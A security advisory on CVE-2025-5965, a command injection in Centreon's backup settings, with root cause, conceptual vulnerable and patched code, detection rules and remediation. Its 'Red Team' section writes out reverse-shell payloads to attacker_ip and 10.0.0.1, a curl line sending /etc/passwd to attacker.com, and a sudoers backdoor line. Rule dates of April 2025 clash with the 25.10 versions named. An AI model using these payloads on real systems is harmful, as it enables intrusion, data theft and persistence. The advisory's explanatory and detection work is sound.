CVE-2025-5965

Executive Summary

CVE-2025-5965 is a critical OS Command Injection vulnerability in Centreon Infra Monitoring, specifically within the backup configuration module of the administration setup. A high-privileged user can inject arbitrary OS commands by manipulating backup parameters, leading to full system compromise. The vulnerability affects multiple version lines (24.04.x, 24.10.x, 25.10.x) and has a CVSS score of 7.2 (High). No public proof-of-concept or exploit code is available at this time, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, given the high privileges required, the impact is severe, allowing an attacker to execute arbitrary commands on the underlying server.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side application vulnerability in Centreon, a monitoring solution typically deployed on Linux servers. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker needs high-privilege access (e.g., administrator).
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Exploitation does not affect other components.
• Confidentiality Impact: High (C:H) – Full system read access.
• Integrity Impact: High (I:H) – Full system write access.
• Availability Impact: High (A:H) – Full system disruption possible.

Threat Level: High. Although exploitation requires high privileges, once obtained, an attacker can achieve complete server takeover.

Deep Dive & Mechanics

The vulnerability resides in the backup configuration module of Centreon's administration setup. The backup functionality allows administrators to define parameters such as backup paths, retention policies, and custom commands. Due to improper neutralization of special elements, user-supplied input in backup parameters is not sanitized before being passed to an OS command execution function.

Root Cause: The application constructs a shell command by concatenating user-controlled strings (e.g., backup directory, custom scripts) without proper escaping or validation. This allows an attacker to inject additional commands using shell metacharacters like ;, |, &&, or backticks.

Attack Flow:

1. Attacker gains high-privilege access (e.g., via stolen admin credentials or another vulnerability).
2. Attacker navigates to Administration > Backup Configuration.
3. Attacker modifies a backup parameter (e.g., backup path) to include a malicious payload: /var/backup; id > /tmp/out.
4. When the backup job runs (either manually or scheduled), the injected command executes.
5. The attacker can then execute arbitrary commands, exfiltrate data, install backdoors, or pivot.

Affected Components:

• Centreon Infra Monitoring versions:
  • 25.10.0 to 25.10.1
  • 24.10.0 to 24.10.14
  • 24.04.0 to 24.04.18

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation
$backup_path = $_POST['backup_path'];
$command = "tar -czf /backups/backup.tar.gz " . $backup_path;
system($command);

Patched Code (Conceptual):

// Patched: Use escapeshellarg() to sanitize input
$backup_path = $_POST['backup_path'];
$safe_path = escapeshellarg($backup_path);
$command = "tar -czf /backups/backup.tar.gz " . $safe_path;
system($command);

The patched version uses escapeshellarg() to wrap the input in single quotes and escape any dangerous characters, preventing command injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• High-privilege Centreon account (admin).
• Network access to Centreon web interface.

Exploitation Steps:

1. Log in to Centreon as an admin.
2. Navigate to Administration > Backup Configuration.
3. In the "Backup directory" field, enter: /var/backup; nc -e /bin/sh attacker_ip 4444
4. Save the configuration.
5. Trigger a backup manually or wait for scheduled backup.
6. The injected command executes, spawning a reverse shell.

Example Payloads:

• Reverse shell: ; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
• Data exfiltration: ; curl http://attacker.com/$(cat /etc/passwd)
• Persistence: ; echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Blue Team (Defender)

Detection:

• Monitor backup configuration changes via audit logs.
• Look for unusual characters in backup parameters (e.g., ;, |, &, backticks).
• Alert on execution of backup scripts with unexpected arguments.

Hunting:

• Search for processes spawned by the Centreon backup service that contain shell metacharacters.
• Review system logs for commands like tar, mysqldump, or custom scripts with suspicious arguments.

Mitigation:

• Apply vendor patches immediately.
• Restrict admin access to Centreon using MFA and least privilege.
• Implement input validation and output encoding in custom scripts.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from Centreon server to unknown IPs on common ports (4444, 8080, 80).
  • DNS queries to suspicious domains.
• File System:
  • Unexpected files in /tmp/, /var/backups/, or /root/.
  • Modified backup scripts in /usr/share/centreon/.
• Process:
  • Processes like nc, bash, python spawned by the Centreon user.
  • Unusual child processes of centreon-backup or centreon-engine.
• Logs:
  • Centreon audit logs showing backup parameter changes with special characters.
  • System logs (/var/log/messages, /var/log/secure) showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_5965_Centreon_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts in Centreon backup parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5965"
        severity = "high"
    strings:
        $s1 = "backup_path" nocase
        $s2 = "backup_directory" nocase
        $s3 = ";" ascii
        $s4 = "|" ascii
        $s5 = "`" ascii
        $s6 = "$(" ascii
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: Centreon Backup OS Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential OS command injection in Centreon backup configuration
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5965
logsource:
    product: centreon
    service: backup
detection:
    selection:
        EventID: 1000  # Example Centreon audit event ID
        ObjectName: 'backup_path'
        NewValue|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in backup paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5965 Centreon Backup OS Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/centreon/administration/backup"; http_uri; content:"backup_path"; nocase; http_client_body; pcre:"/(;|\||`|\$\().*/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon to the patched versions:
   • 24.04.19 or later
   • 24.10.15 or later
   • 25.10.2 or later
2. If patching is not possible, restrict access to the backup configuration module to only essential personnel.
3. Implement strict input validation on all backup parameters (e.g., allow only alphanumeric characters and slashes).

Long-term Measures:

• Use a Web Application Firewall (WAF) to block malicious payloads.
• Enable detailed audit logging for all admin actions.
• Conduct regular security assessments and code reviews.
• Apply the principle of least privilege to all Centreon users.

Workaround:

• Disable the backup functionality if not required.
• Manually sanitize backup parameters using a custom script that rejects special characters.

Valters IT